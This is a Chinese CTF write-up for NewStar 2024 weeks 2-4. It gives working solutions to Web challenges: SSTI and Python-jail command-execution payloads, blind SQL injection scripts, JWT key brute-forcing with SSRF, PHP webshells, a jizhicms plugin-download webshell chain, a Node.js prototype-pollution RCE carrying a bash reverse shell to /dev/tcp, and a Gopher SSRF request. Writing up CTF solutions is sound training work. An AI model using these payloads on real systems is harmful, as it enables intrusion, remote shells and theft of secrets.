2024NewStar Week2 刚刚把Web做完
质量嘎嘎的
写一写
Misc wireshark_checkin 随便找找就有flag了
wireshark_secret 第3流发现图片
导出来
Web 你能在一秒内打出八句英文吗 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from selenium import webdriver from selenium.webdriver.common.by import By import time # 使用 Chrome 浏览器 driver = webdriver.Chrome() # 打开网页 driver.get("http://localhost:5000") # 替换成你要访问的页面 URL # 找到提供句子的 <p> 元素并获取文本 sentences_element = driver.find_element(By.ID, "text") sentences = sentences_element.text # 获取句子文本 # 找到输入框元素 user_input = driver.find_element(By.ID, "user-input") # 使用 JavaScript 快速输入句子 driver.execute_script("arguments[0].value = arguments[1];", user_input, sentences) # 等待一段时间以确保输入完成 time.sleep(0.1) # 确保在输入之后有一点小延迟 # 使用 JavaScript 提交表单,而不是通过 Selenium 点击按钮 driver.execute_script("document.getElementById('submit-btn').click();") # 此时浏览器不会关闭,等待你手动关闭 print("脚本已执行完毕,浏览器不会自动关闭。")
PangBai 过家家(2) githack下载git泄露文件
https://www.cnblogs.com/zi-Chuan/p/12396138.html
这个题找了半天没找到flag最后发现在堆栈中有个php文件
1 2 git stash pop 弹出堆栈的内容 git add BacKd0or.v2d23AOPpDfEW5Ca.php
会发现文件夹下多了个文件
里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php # Functions to handle HTML output function print_msg($msg) { $content = file_get_contents('index.html'); $content = preg_replace('/\s*<script.*<\/script>/s', '', $content); $content = preg_replace('/ event/', '', $content); $content = str_replace('点击此处载入存档', $msg, $content); echo $content; } function show_backdoor() { $content = file_get_contents('index.html'); $content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content); echo $content; } # Backdoor if ($_POST['papa'] !== 'TfflxoU0ry7c') { show_backdoor(); } else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) { print_msg('PangBai loves you!'); call_user_func($_POST['func'], $_POST['args']); } else { print_msg('PangBai hates you!'); }
藏得真深
遗失的拉链 www.zip源码泄露
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0); //for fun if(isset($_GET['new'])&&isset($_POST['star'])){ if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){ //欸 为啥sha1和md5相等呢 $cmd = $_POST['cmd']; if (preg_match("/cat|flag/i", $cmd)) { die("u can not do this "); } echo eval($cmd); }else{ echo "Wrong"; } }
1 2 3 数组绕过即可 pizwww.php?new[]=1 syar[]=2&cmd=system("tac /f*")
复读机 ssti
1 {{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
谢谢皮蛋 plus 实际上就比第一周多过滤了空格和and
1 -1"/**/union/**/select/**/group_concat(des),group_concat(value)/**/from/**/Fl4g#
week3 Web 臭皮的计算器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from flask import Flask, render_template, request import uuid import subprocess import os import tempfile app = Flask(__name__) app.secret_key = str(uuid.uuid4()) def waf(s): token = True for i in s: if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ": token = False break return token @app.route("/") def index(): return render_template("index.html") @app.route("/calc", methods=['POST', 'GET']) def calc(): if request.method == 'POST': num = request.form.get("num") script = f'''import os print(eval("{num}")) ''' print(script) if waf(num): try: result_output = '' with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script: temp_script.write(script) temp_script_path = temp_script.name result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True) os.remove(temp_script_path) result_output = result.stdout if result.returncode == 0 else result.stderr except Exception as e: result_output = str(e) return render_template("calc.html", result=result_output) else: return render_template("calc.html", result="臭皮!你想干什么!!") return render_template("calc.html", result='试试呗') if __name__ == "__main__": app.run(host='0.0.0.0', port=30002)
过滤了所有字母,chr绕过就OK,或者8进制
1 2 3 __import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)) \137\137\151\155\160\157\162\164\137\137\050\042\157\163\042\051\056\160\157\160\145\156\050\042\154\163\042\051\056\162\145\141\144\050\051
臭皮踩踩背 我有点疑惑,这不是pyjail吗,怎么整Web来了
1 2 ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode()) 开启sh
这照片是你吗 源代码给了提示
服务器用的是静态解析文件,路径穿越../app.py可以得到源码
审计源码,可以知道我们要用 admin
用户登录来进入面板。两种方法:获取密码或者伪造 token
.
1 2 base_key = str(uuid.uuid4()).split("-") admin_pass = "".join([ _ for _ in base_key])
admin
的密码长度是 32 个字符,而整个程序有登录次数限制,因此无法爆破密码来登录。
而伪造 token
则需要 secret_key
,查看生成逻辑:
1 secret_key = get_random_number_string(6)
6 位数字字符串,可以在数秒内完成爆破。
1 2 3 4 users = { 'admin': admin_pass, 'amiya': "114514" }
通过本段代码我们可以知道一个有效账户 amiya
,密码 114514
,通过发包登录,我们可以获得一个有效的 token
,据此能在本地认证签名 secret_key
的有效性(因为目标主机有认证次数限制)。
爆破出 secret_key
114514
,然后查看登录后的逻辑:
前端请求 /execute
指定 api_address
,而 api_address
可控且没有校验,存在 SSRF 漏洞。
定位到源代码开头:
1 from flag import get_random_number_string
这是出题人故意漏的信息,将函数写在了 flag 模块并 import,提示查看 flag.py
1 2 3 4 @get_flag.route("/fl4g") # 如何触发它呢? def flag(): return FLAG
Python 程序可以 import 同一目录下的 .py
文件而不必创建 __init__.py
等标记模块的文件。因此这里同级目录下有文件名为 flag.py
的程序,模块名为 flag
.
我们的操作很明确了:利用 /execute
路由的 SSRF 漏洞让服务器自己访问 http://localhost:5001/fl4g
,即访问 /execute?api_address=http://localhost:5001/fl4g
.
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import time import requests import jwt import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <url>") sys.exit(1) url = sys.argv[-1] def get_number_string(number,length): return str(number).zfill(length) print("[+] Exploit for newstar-zhezhaopianshinima") print("[+] Getting a valid token from the server") LENGTH = 6 req = requests.post(url+"/login", data={"username":"amiya","password":"114514"}) token = req.cookies.get("token") print(f"[+] Got token: {token}") print("[+] Brute forcing the secret key") for i in range(1000000): secret_key = get_number_string(i,LENGTH) try: decoded = jwt.decode(token, secret_key, algorithms=["HS256"]) break except jwt.exceptions.InvalidSignatureError: continue print(f"[+] Found secret key: {secret_key}") fake_token = jwt.encode({'user': 'admin', 'exp': int(time.time()) + 600}, secret_key) print(f"[+] Generated a fake token: {fake_token}") print("[+] Getting the flag") req = requests.get(url+"/execute?api_address=http://localhost:5001/fl4g", cookies={"token":fake_token}) print(f"[+] Flag: {req.text}")
Include_Me 1 ?iknow=1&me=data:text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzBdKT8+%2B
blindsql1 import requests,string,time
url = ''
result = ''
for i in range(1,100):
print(f'[+] Bruting at {i}')
for c in string.ascii_letters + string.digits + '_-{}':
time.sleep(0.2) # 限制速率,防止请求过快
print('[+] Trying:', c)
# 这条语句能查询到当前数据库所有的表名
#tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))'
#tables = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))'
tables = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'
# 获取所有表名的第 i 个字符,并计算 ascii 值
char = f'(ord(mid({tables},{i},1)))'
# 爆破该 ascii 值
b = f'(({char})in({ord(c)}))'
# 若 ascii 猜对了,则 and 后面的结果是 true,会返回 Alice 的数据
p = f'Alice\'and({b})#'
res = requests.get(url, params={'student_name': p})
if 'Alice' in res.text:
print('[*]bingo:',c)
result += c
print(result)
break
Week4 Web bindsql2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import requests, string, time url = 'http://ip:port' result = '' for i in range(1,100): print(f'[+]bruting at {i}') for c in string.ascii_letters + string.digits + ',_-{}': time.sleep(0.01) # 限制速率,防止请求过快 print('[+]trying:', c) tables = f'(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)like(database())))' columns = f'(Select(group_concat(column_name))from(infOrmation_schema.columns)where((table_name)like(\'secrets\')))' flag = f'(Select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))' # 获取第 i 个字符,并计算 ascii 值 char = f'(ord(mid({flag},{i},1)))' # 爆破该 ascii 值 b = f'(({char})in({ord(c)}))' # 若 ascii 猜对了,会执行 sleep(1.5) p = f'Alice\'and(if({b},sleep(1.5),0))#' res = requests.get(url, params={'student_name':p}) if res.elapsed.total_seconds() > 1.5: print('[*]bingo:', c) result += c print(result) break
Ezpollute JavaScript 的原型链污染
查看部署文件,可以得知 Node.js 版本为 16,并且使用了 node-dev
热部署启动
审计 index.js
, /config
路由下调用了 merge
函数, merge
函数意味着可能存在的原型链污染漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 router.post ('/config' , async (ctx) => { jsonData = ctx.request .rawBody || "{}" token = ctx.cookies .get ('token' ) if (!token) { return ctx.body = { code : 0 , msg : 'Upload Photo First' , } } const [err, userID] = decodeToken (token) if (err) { return ctx.body = { code : 0 , msg : 'Invalid Token' , } } userConfig = JSON .parse (jsonData) try { finalConfig = clone (defaultWaterMarkConfig) merge (finalConfig, userConfig) fs.writeFileSync (path.join (__dirname, 'uploads' , userID, 'config.json' ), JSON .stringify (finalConfig)) ctx.body = { code : 1 , msg : 'Config updated successfully' , } } catch (e) { ctx.body = { code : 0 , msg : 'Some error occurred' , } } })
merge
函数在 /util/merge.js
中,虽然过滤了 proto
,但我们可以通过 constructor.prototype
来绕过限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function merge (target, source ) { if (!isObject (target) || !isObject (source)) { return target } for (let key in source) { if (key === "__proto__" ) continue if (source[key] === "" ) continue if (isObject (source[key]) && key in target) { target[key] = merge (target[key], source[key]); } else { target[key] = source[key]; } } return target }
/process
路由调用了 fork
,创建了一个 JavaScript 子进程用于水印添加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 try { await new Promise ((resolve, reject ) => { const proc = fork (PhotoProcessScript , [userDir], { silent : true }) proc.on ('close' , (code ) => { if (code === 0 ) { resolve ('success' ) } else { reject (new Error ('An error occurred during execution' )) } }) proc.on ('error' , (err ) => { reject (new Error (`Failed to start subprocess: ${err.message} ` )) }) }) ctx.body = { code : 1 , msg : 'Photos processed successfully' , } } catch (error) { ctx.body = { code : 0 , msg : 'some error occurred' , } }
结合之前的原型链污染漏洞,我们污染 NODE_OPTIONS
和 env
,在 env
中写入恶意代码,fork
在创建子进程时就会首先加载恶意代码,从而实现 RCE
1 2 3 4 5 6 7 8 9 10 11 payload = { "constructor" : { "prototype" : { "NODE_OPTIONS" : "--require /proc/self/environ" , "env" : { "A" :"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//" } } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 import requestsimport reimport base64from time import sleepurl = "http://url:port" files = [ ('images' , ('anno.png' , open ('./1.png' , 'rb' ), 'image/png' )), ('images' , ('soyo.png' , open ('./2.png' , 'rb' ), 'image/png' )) ] res = requests.post(url + "/upload" , files=files) token = res.headers.get('Set-Cookie' ) match = re.search(r'token=([a-f0-9\-\.]+)' , token)if match : token = match .group(1 ) print (f"[+] token: {token} " ) headers = { 'Cookie' : f'token={token} ' } webshell = """ const Koa = require('koa') const Router = require('koa-router') const app = new Koa() const router = new Router() router.get("/webshell", async (ctx) => { const {cmd} = ctx.query res = require('child_process').execSync(cmd).toString() return ctx.body = { res } }) app.use(router.routes()) app.listen(3000, () => { console.log('http://127.0.0.1:3000') }) """ encoded_webshell = base64.b64encode(webshell.encode()).decode() payload = { "constructor" : { "prototype" : { "NODE_OPTIONS" : "--require /proc/self/environ" , "env" : { "A" : f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//" } } } } requests.post(url + "/config" , json=payload, headers=headers) try : requests.post(url + "/process" , headers=headers) except Exception as e: pass sleep(2 ) res = requests.get(url + "/webshell?cmd=cat /flag" ) print (res.text)
Ezcmsss 在首页源码里找到提示,需要查看备份文件
访问 /www.zip
获得源码备份文件,在 readme.txt
获得 jizhicms 版本号为 v1.9.5,在 start.sh
获得服务器初始化时使用的管理员账号和密码
同时在 start.sh
中有备注提示访问 admin.php
进入管理页面,然后使用上面的账号密码登录
上网搜索可以发现 jizhicms v1.9.5 有一个管理界面的任意文件下载漏洞
在 扩展管理-插件列表
中发现只有一个插件,这是由于容器不出网导致的,因此我们不能按照网上的方式,使用公网的 url 链接下载文件,需要在将 .zip 文件上传到题目容器里,然后通过任意文件下载漏洞本地下载、解压
有几种上传 .zip
文件的方法,都可以获取到文件保存的目录,其中一种是在 栏目管理-栏目列表-新增栏目
中添加附件,上传构造好的包含 php 马的压缩包
抓包获得保存路径为 /static/upload/file/20241016/1729079175871306.zip
,测试可以访问
在插件那边进行抓包,构造请求如下(可以照着网上的漏洞复现依葫芦画瓢,filepath
随便起就行)
1 2 3 4 5 6 7 8 9 10 11 POST /admin.php/Plugins/update.html HTTP/1.1 Host : eci-2zedm1lw513xbz1d46c6.cloudeci1.ichunqiu.comContent-Length : 126User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0Accept : application/json, text/javascript, */*; q=0.01Content-Type : application/x-www-form-urlencoded; charset=UTF-8Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie:PHPSESSID=0k7pqbk4chhak4ku5aqbfhe7b3 filepath=apidata&action=start-download&type=0 &download_url=http%3 a// 127.0 .0.1 /static/u pload/file/ 20241016 /1729079175871306 .zip
注意
这里的 PHPSESSID 记得换成自己的
继续构造解压的请求,修改 action
即可,解压完的文件在 /A/exts
访问 /A/exts/shell.php
,可以直接进行命令执行
注意
这里的路径文件名就是上面下载的压缩包里面的文件,如果压缩包里有多个文件,解压会在 exts
下建立一个和上面 POST 参数 filepath
的值一致的文件夹,php 马需要在此目录下访问
flag 在根目录下的 /flllllag
文件,用通配符读取即可(如 /fl*
)
隐藏的密码 根据题目隐藏的密码可能是存在信息泄露,进行目录扫描,可以扫到 env
和 jolokia
端点,可以找到 caef11.passwd
属性是隐藏的
1 2 3 4 POST /actuator/jolokia HTTP/1.1 Content-Type : application/json{"mbean" : "org.springframework.boot:name=SpringApplication,type=Admin" ,"operation" : "getProperty" , "type" : "EXEC" , "arguments" : ["caef11.passwd" ]}
读到密码后,根据题目描述和属性的名字可得用户名为 caef11
1 2 3 4 5 6 7 8 9 10 11 POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=--abc Cookie: PHPSESSID=kc8dfc8njb57d311qlmh7ij0d2; JSESSIONID=E1EF0128A9A427C2593DA64FAE3E2102 ----abc Content-Disposition: form-data; name="file" ; filename="../etc/cron.d/testt" Content-Type: application/octet-stream */1 * * * * root cat /flag | xargs -I {} touch /{} ----abc--
通过写定时任务(计划任务)的方式,以 flag 为文件名在根目录创建新文件,通过 ls
查看 flag,或者反弹 shell 也可以
PangBai 过家家(4) 根据题目附件所给的 hint,只需关注 main.go
文件即可,文件中定义了一个静态文件路由和三个路由:
go
1 2 3 r.HandleFunc("/" , routeIndex) r.HandleFunc("/eye" , routeEye) r.HandleFunc("/favorite" , routeFavorite)
在 main.go
的 routeEye
函数中发现了 tmpl.Execute
函数,通过分析,我们重点关注下面的代码片段:
go
1 2 3 4 5 tmplStr := strings.Replace(string (content), "%s" , input, -1 ) tmpl, err := template.New("eye" ).Parse(tmplStr) helper := Helper{User: user, Config: config} err = tmpl.Execute(w, helper)
我们的输入 input
会直接作为模板字符串的一部分,与 Python 的 SSTI 类似,我们可以使用 {{` `}}
来获取上下文中的数据。
GoLang 模板中的上下文
tmpl.Execute
函数用于将 tmpl 对象中的模板字符串进行渲染,第一个参数传入的是一个 Writer 对象,后面是一个上下文,在模板字符串中,可以使用 {{ . }}
获取整个上下文,或使用 {{ .A.B }}
进行层级访问。若上下文中含有函数,也支持 {{ .Func "param" }}
的方式传入变量。并且还支持管道符运算。
在本题中,由于 utils.go
定义的 Stringer
对象中的 String
方法,对继承他的每一个 struct,在转换为字符串时都会返回 [struct]
,所以直接使用 {{ . }}
返回全局的上下文结构会返回 [struct]
.
访问 /eye
路由,默认就是 {{ .User }}
和返回的信息。根据上面代码片段的内容,我们追溯 Helper
和 Config
两个结构体的结构:
go
1 2 3 4 5 6 7 8 9 10 11 type Helper struct { Stringer User string Config Config } var config = Config{ Name: "PangBai 过家家 (4)" , JwtKey: RandString(64 ), SignaturePath: "./sign.txt" , }
可以泄露出 JWT 的密钥,只需输入 {{ .Config.JwtKey }}
即可:
然后我们关注另一个路由 /favorite
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 func routeFavorite (w http.ResponseWriter, r *http.Request) { if r.Method == http.MethodPut { requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":" )] fmt.Println("Request IP:" , requestIP) if requestIP != "127.0.0.1" && requestIP != "[::1]" { w.WriteHeader(http.StatusForbidden) w.Write([]byte ("Only localhost can access" )) return } token, _ := r.Cookie("token" ) o, err := validateJwt(token.Value) if err != nil { w.Write([]byte (err.Error())) return } if o.Name == "PangBai" { w.WriteHeader(http.StatusAccepted) w.Write([]byte ("Hello, PangBai!" )) return } if o.Name != "Papa" { w.WriteHeader(http.StatusForbidden) w.Write([]byte ("You cannot access!" )) return } body, err := ioutil.ReadAll(r.Body) if err != nil { http.Error(w, "error" , http.StatusInternalServerError) } config.SignaturePath = string (body) w.WriteHeader(http.StatusOK) w.Write([]byte ("ok" )) return } tmpl, err := template.ParseFiles("views/favorite.html" ) if err != nil { http.Error(w, "error" , http.StatusInternalServerError) return } sig, err := ioutil.ReadFile(config.SignaturePath) if err != nil { http.Error(w, "Failed to read signature files: " +config.SignaturePath, http.StatusInternalServerError) return } err = tmpl.Execute(w, string (sig)) if err != nil { http.Error(w, "[error]" , http.StatusInternalServerError) return } }
可以看到 /favorite
路由下,网页右下角的内容实际上是一个文件读的结果,文件路径默认为 config.SignaturePath
即 ./sign.txt
的内容。
而如果使用 PUT 请求,则可以修改 config.SignaturePath
的值,但需要携带使 Name
(Token 对象中是 Name
字段,但是 JWT 对象中是 user
字段,可以在 utils.go
中的 validateJwt
函数中看到)为 Papa
的 JWT Cookie.
于是就有了解题思路:利用泄露的 JwtKey
伪造 Cookie,对 /favorite
发起 PUT 请求以修改 config.SignaturePath
,然后访问 /favorite
获取文件读的内容。
然而 /favorite
中又强制要求请求必须来自于本地。
注意到下面的代码片段:
1 2 3 4 5 6 7 8 9 10 func (c Helper) Curl(url string ) string { fmt.Println("Curl:" , url) cmd := exec.Command("curl" , "-fsSL" , "--" , url) _, err := cmd.CombinedOutput() if err != nil { fmt.Println("Error: curl:" , err) return "error" } return "ok" }
这部分代码为 Helper
定义了一个 Curl
的方法,所以我们可以在 /eye
路由下通过 {{ .Curl "url" }}
调用到这个方法,这个方法允许我们在服务端发起内网请求,即 SSRF(服务端请求伪造):
由于 exec.Command
中 --
的存在,我们没有办法进行任何命令注入或选项控制。而一般情况下,在没有其它参数指定时,curl 发起的 HTTP 请求也只能发送 GET 请求,题目要求的是 PUT 请求。
但 curl 命令并不是只能发起 HTTP 请求,它也支持其它很多的协议,例如 FTP、Gopher 等,其中 Gopher 协议能满足我们的要求。
关于 Gopher 协议
Gopher 协议是一个互联网早期的协议,可以直接发送任意 TCP 报文。其 URI 格式为:gopher://远程地址/_编码的报文
,表示将报文 原始内容发送到远程地址 .
我们先签一个 JWT:
然后构造 PUT 请求原始报文,Body 内容为想要读取的文件内容,这里读取环境变量:
http
1 2 3 4 5 6 7 PUT /favorite HTTP/1.1 Host: localhost:8000 Content-Type: text/plain Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiUGFwYSJ9.tgAEnWZJGTa1_HIBlUQj8nzRs2M9asoWZ-JYAQuV0N0 Content-Length: 18 /proc/self/environ
注意
必须填正确 Content-Length
的值,以使报文接收方正确解析 HTTP Body 的内容,并且 Body 不应当包含换行符,否则读文件会失败。
对请求进行编码和套上 Gopher 协议(CyberChef Recipe ):
plaintext
1 gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJ1c2VyIjoiUGFwYSJ9%2EtgAEnWZJGTa1%5FHIBlUQj8nzRs2M9asoWZ%2DJYAQuV0N0%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron
然后调用 curl,在 /eye
路由访问 {{ .Curl "gopher://..." }}
即可。
然后访问 /favorite
路由即可得到 FLAG: